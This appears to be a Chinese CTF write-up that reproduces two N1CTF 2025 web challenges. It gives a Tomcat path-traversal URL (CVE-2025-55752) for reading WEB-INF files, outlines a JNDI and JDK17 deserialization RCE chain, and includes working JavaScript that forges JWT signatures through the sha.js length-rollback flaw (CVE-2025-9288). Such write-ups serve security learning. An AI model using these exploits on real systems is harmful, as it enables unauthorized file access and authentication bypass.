目录

  1. 1. 前言
  2. 2. n1cat(复现)
  3. 3. eezzjs(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

N1CTF 2025

2025/11/2 CTF线上赛
  |     |   总文章阅读量:

前言

打一半倦了,没精力打只能后面复现下题目

参考:

https://gsbp0.github.io/post/2025n1ctf-wp-for-n1cateezzjs/


n1cat(复现)

CVE-2025-55752 + 高版本 JNDI 注入 + 最新最热 jdk17 原生链

给了一个 apache 配置文件

RewriteCond %{QUERY_STRING} (^|&)path=([^&]+)
RewriteRule ^/download$ /%2 [B,L]

/download 路由接收一个 path 参数

测试发现服务器版本为 Tomcat/9.0.108

有 CVE-2025-55752:https://cn-sec.com/archives/4639480.html

那么构造 url:/download?path=%2fWEB-INF/web.xml

web.xml

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet>
<servlet-name>welcomeServlet</servlet-name>
<servlet-class>ctf.n1cat.welcomeServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>welcomeServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>

得知类名称与路径 /download?path=%2fWEB-INF/classes/ctf/n1cat/welcomeServlet.class

package ctf.n1cat;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(
    name = "welcomeServlet",
    value = {"/"}
)
public class welcomeServlet extends HttpServlet {
    private static final String DEFAULT_NAME = "guest";
    private static final String DEFAULT_WORD = "welcome";
    private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
        String requestUri = request.getRequestURI();
        String contextPath = request.getContextPath();
        String pathWithinApp = requestUri.substring(contextPath.length());
        if (this.shouldDelegate(pathWithinApp)) {
            this.delegateToDefaultResource(pathWithinApp, request, response);
        } else {
            String jsonPayload = request.getParameter("json");
            String nameParam = request.getParameter("name");
            String wordParam = request.getParameter("word");
            String urlParam = request.getParameter("url");
            if (this.isBlank(jsonPayload) && !this.isBlank(nameParam) && !this.isBlank(wordParam)) {
                ObjectNode composed = OBJECT_MAPPER.createObjectNode();
                composed.put("name", nameParam);
                composed.put("word", wordParam);
                if (!this.isBlank(urlParam)) {
                    composed.put("url", urlParam);
                }

                jsonPayload = composed.toString();
            }

            if (this.isBlank(jsonPayload)) {
                response.sendRedirect(this.defaultRedirectTarget(request));
            } else {
                try {
                    User user = (User)OBJECT_MAPPER.readValue(jsonPayload, User.class);
                    String name = user.getName();
                    String word = user.getWord();
                    String url = user.getUrl();
                    if (this.isBlank(name) || this.isBlank(word)) {
                        response.sendRedirect(this.defaultRedirectTarget(request));
                        return;
                    }

                    this.renderResponse(response, name, word, url);
                } catch (JsonProcessingException var14) {
                    response.sendError(400, "Invalid JSON payload");
                } catch (RuntimeException var15) {
                    response.sendError(400, "Invalid user data");
                }

            }
        }
    }

    private boolean shouldDelegate(String pathWithinApp) {
        return pathWithinApp != null && !pathWithinApp.isEmpty() && !"/".equals(pathWithinApp);
    }

    private void delegateToDefaultResource(String pathWithinApp, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        RequestDispatcher defaultDispatcher = this.getServletContext().getNamedDispatcher("default");
        if (defaultDispatcher != null) {
            defaultDispatcher.forward(request, response);
        } else {
            request.getRequestDispatcher(pathWithinApp).forward(request, response);
        }

    }

    private void renderResponse(HttpServletResponse response, String name, String word, String url) throws IOException {
        response.setContentType("text/html;charset=UTF-8");

        try (PrintWriter out = response.getWriter()) {
            out.println("<html><body>");
            String var10001 = this.escapeHtml(name);
            out.println("<h1>" + var10001 + "</h1>");
            var10001 = this.escapeHtml(word);
            out.println("<p>" + var10001 + "</p>");
            if (!this.isBlank(url)) {
                var10001 = this.escapeHtml(url);
                out.println("<p>URL: " + var10001 + "</p>");
            }

            out.println("</body></html>");
        }

    }

    private String escapeHtml(String input) {
        return input == null ? "" : input.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("\"", "&quot;").replace("'", "&#x27;");
    }

    private String defaultRedirectTarget(HttpServletRequest request) {
        String var10000 = request.getContextPath();
        return var10000 + "/?name=" + this.urlEncode("guest") + "&word=" + this.urlEncode("welcome");
    }

    private boolean isBlank(String value) {
        return value == null || value.trim().isEmpty();
    }

    private String urlEncode(String value) {
        return URLEncoder.encode(value, StandardCharsets.UTF_8);
    }
}

还有一个 User 类

package ctf.n1cat;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class User {
    private String name;
    private String word;
    private String url;

    public String getName() {
        return this.name;
    }

    public String getWord() {
        return this.word;
    }

    public void setWord(String password) {
        this.word = password;
    }

    public void setName(String name) throws NamingException {
        this.name = name;
    }

    public String getUrl() {
        return this.url;
    }

    public void setUrl(String url) {
        try {
            (new InitialContext()).lookup(url);
        } catch (NamingException e) {
            throw new RuntimeException(e);
        }
    }
}

jdk17,考虑调用 setUrl 打高版本 jndi 注入,但是 jdk17 的 jndi 注入不太可能,考虑构造 RMI 恶意服务端打客户端

可以看到有 jackson 依赖,继续利用文件读取爆破一下 lib 目录下的依赖与版本号,可以发现 jackson 的版本号为 2.19.2,同时发现 spring-aop-5.3.33

那么可以考虑打最新最热的 jdk17 原生链,起一个 RMI Server 然后返回这条链子的序列化 payload 到对面客户端触发反序列化即可 RCE


eezzjs(复现)

CVE-2025-9288

package.json

{
  "name": "eezzjs",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "ejs": "^3.1.9",
    "express": "^4.18.2",
    "multer": "^1.4.5-lts.1",
    "sha.js": "2.4.10"
  },
  "keywords": [],
  "author": "",
  "license": "ISC"
}

sha.js 有 CVE-2025-9288

const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = sha('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

跟进这里的 hash.update 观察漏洞的原理

Hash.prototype.update = function (data, enc) {
  if (typeof data === 'string') {
    enc = enc || 'utf8'
    data = Buffer.from(data, enc)
  }

  var block = this._block
  var blockSize = this._blockSize
  var length = data.length
  var accum = this._len

  for (var offset = 0; offset < length;) {
    var assigned = accum % blockSize
    var remainder = Math.min(length - offset, blockSize - assigned)

    for (var i = 0; i < remainder; i++) {
      block[assigned + i] = data[offset + i]
    }

    accum += remainder
    offset += remainder

    if ((accum % blockSize) === 0) {
      this._update(block)
    }
  }

  this._len += length
  return this
}

调试一下可以发现,validMessage 这里是三组 32 长度的 buffer,而 receivedMessage 这里第一组是我们插入的字符串,第二组是 length,值为前面字符串长度的负数,第三组则是连在一起的 validMessage 长度为 96

而这样做在经过 messages.forEach((m) => hash.update(m)) 后会使得实际进行 sha256 计算的仍为后面 96 长度的 buffer

总结一下就是在加密体里插入一个新的部分并插入 {length: -x},会使得 hash 回滚,与之前未插入计算的 hash 值一样

那么我们只需要计算新插入的总 length 为 0 即可利用这个漏洞

观察 sha256 在题目中的运用:

const signJWT = (payload, { expiresIn } = {}, secret = JWT_SECRET) => {
    const header = { alg: 'HS256', typ: 'JWT' };
    const now = Math.floor(Date.now() / 1000);
    console.log(payload)
    const body = { ...payload, length:payload.username.length,iat: now };
    if (expiresIn) {
        body.exp = now + expiresIn;
    }

    return [
        toBase64Url(JSON.stringify(header)),
        toBase64Url(JSON.stringify(body)),
        sha256(...[JSON.stringify(header), body, secret])
    ].join('.');
};


const verifyJWT = (token, secret = JWT_SECRET) => {
    if (typeof token !== 'string') {
        return null;
    }

    const parts = token.split('.');
    if (parts.length !== 3) {
        return null;
    }

    const [encodedHeader, encodedPayload, signature] = parts;

    let header;
    let payload;
    try {
        header = JSON.parse(fromBase64Url(encodedHeader).toString());
        payload = JSON.parse(fromBase64Url(encodedPayload).toString());
    } catch (err) {
        return null;
    }

    const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);

    let providedSignature;
    let expectedSignature;
    try {
        providedSignature = Buffer.from(signature, 'hex');
        expectedSignature = Buffer.from(expectedSignatureHex, 'hex');
    } catch (err) {
        return null;
    }

    if (
        providedSignature.length !== expectedSignature.length ||
        !crypto.timingSafeEqual(providedSignature, expectedSignature)
    ) {
        return null;
    }

    if (header.alg !== 'HS256') {
        return null;
    }

    if (payload.exp && Math.floor(Date.now() / 1000) >= payload.exp) {
        return null;
    }

    return payload;
};

signJWT 中,body 的组成是 { ...payload, length:payload.username.length,iat: now },我们可以修改 sha256 sign 部分 body 里的 length 来利用漏洞

而 verifyJWT 中期望的 sign 是 sha256(...[JSON.stringify(header), body, secret]),我们在未知 secret 的情况下,要构造 sha256 与前者相等就需要把 secret 的长度一同覆盖掉,即最终的总长度为 0

编写 poc,需要修改 body 部分的 length:

const crypto = require('crypto');
const sha = require('sha.js');
const sha256 = (...messages) => {
    const hash = sha('sha256');
    messages.forEach((m) => hash.update(m));
    return hash.digest('hex');
};
const { verifyJWT } = require('./auth');

const toBase64Url = (input) => {
    const buffer = Buffer.isBuffer(input) ? input : Buffer.from(input);
    return buffer
        .toString('base64')
        .replace(/\+/g, '-')
        .replace(/\//g, '_')
        .replace(/=+$/, '');
};
const mysecret = crypto.randomBytes(9).toString('hex')
const header = { alg: 'HS256', typ: 'JWT' };
const len = -(JSON.stringify(header).length + mysecret.length);

const signJWT = (payload, { expiresIn } = {}, secret = mysecret) => {
  const header = { alg: 'HS256', typ: 'JWT' };
  const now = Math.floor(Date.now() / 1000);
  console.log(payload)
  const body = { ...payload, length: len, iat: now };
  if (expiresIn) {
    body.exp = now + expiresIn;
  }

  return [
    toBase64Url(JSON.stringify(header)),
    toBase64Url(JSON.stringify(body)),
    sha256(...[JSON.stringify(header), body, secret])
  ].join('.');
};

token = signJWT({ username: "admin" }, mysecret)
console.log(token)
console.log(verifyJWT(token, mysecret))